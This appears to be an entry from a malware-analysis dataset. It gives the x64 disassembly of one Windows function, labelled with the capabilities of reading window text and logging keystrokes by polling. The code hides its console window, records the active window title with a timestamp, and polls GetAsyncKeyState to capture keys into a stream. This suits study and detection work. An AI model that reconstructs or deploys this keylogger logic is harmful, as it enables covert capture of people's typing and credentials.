Function at 0x1400016f0
Capabilities:
Get graphical window text
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
xor esi, esi
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x40]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x40]
call fcn.1400028d0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], 0xf
mov byte [rsp + 0x78], sil
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov r8d, pe_nt_image_headers64
lea rdx, [rbp + 0xf0]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rsi
lea rax, [rbp + 0xf0]
mov rbx, 0xffffffffffffffff
mov rdi, rbx
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400017c0
movabs r14, 0x7fffffffffffffff
cmp rdi, r14
ja 0x140001b7f
movabs r13, 0x8000000000000000
mov r12d, 0x16
cmp rdi, 0xf
ja 0x14000181e
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8, rdi
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rdi + 0x50], 0
jmp 0x1400018b7
mov r15, rdi
or r15, 0xf
cmp r15, r14
jbe 0x140001833
mov r15, r14
lea rax, [r13 + 0x27]
jmp 0x14000185a
cmp r15, r12
cmovb r15, r12
lea rcx, [r15 + 1]
test rcx, rcx
jne 0x140001848
mov r12, rsi
jmp 0x14000188b
cmp rcx, 0x1000
jb 0x140001883
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000187d
mov rcx, rax
call fcn.1400035a0
test rax, rax
je 0x140001876
lea r12, [rax + 0x27]
and r12, 0xffffffffffffffe0
mov qword [r12 - 8], rax
jmp 0x14000188b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001110
int3
call fcn.1400035a0
mov r12, rax
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], r15
mov r8, rdi
lea rdx, [rbp + 0xf0]
mov rcx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r12 + rdi], 0
mov r12d, 0x16
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
test r8, r8
jne 0x1400018e4
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140001ad2
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
lea r9, [rbp - 0x68]
lea r8, str._Y__m__d__H:_M:_S
mov edx, 0x14
lea rcx, [rbp + 0xd0]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
lea rax, [rbp + 0xd0]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001936
cmp rbx, r14
ja 0x140001b79
cmp rbx, 0xf
ja 0x14000197a
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 0xf
mov r8, rbx
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x30], 0
jmp 0x140001a07
mov rax, rbx
or rax, 0xf
cmp rax, r14
jbe 0x14000198c
lea rax, [r13 + 0x27]
jmp 0x1400019b2
mov r14, rax
cmp rax, 0x16
cmovb r14, r12
lea rcx, [r14 + 1]
test rcx, rcx
je 0x1400019e2
cmp rcx, 0x1000
jb 0x1400019da
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400019d4
mov rcx, rax
call fcn.1400035a0
test rax, rax
je 0x1400019cd
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400019e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001110
int3
call fcn.1400035a0
mov rsi, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], r14
mov r8, rbx
lea rdx, [rbp + 0xd0]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
lea rdx, [0x1400055d0]
lea rcx, [rbp - 0x40]
call fcn.140002ee0
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0xf
cmova rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov rcx, rax
call fcn.140003360
lea rdx, str.____Window:
mov rcx, rax
call fcn.140002ee0
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
mov rcx, rax
call fcn.140003360
lea rdx, [0x1400055b8]
mov rcx, rax
call fcn.140002ee0
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001ab2
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001aad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001aad
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035dc
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x60]
lea rcx, [rsp + 0x78]
call fcn.140002d50
mov bl, 8
movsx ecx, bl
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x140001b6b
lea eax, [rbx - 0x41]
cmp al, 0x19
ja 0x140001aff
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x140001aff
add bl, 0x20
movsx edx, bl
lea rcx, [rsp + 0x30]
call fcn.140001290
nop
mov rdx, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140001b1a
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rbp - 0x40]
call fcn.140003360
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140001b61
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b72
call fcn.1400035dc
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::flush_void____ptr64]
inc bl
jmp 0x140001ad4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400011b0
nop
call fcn.1400011b0
int3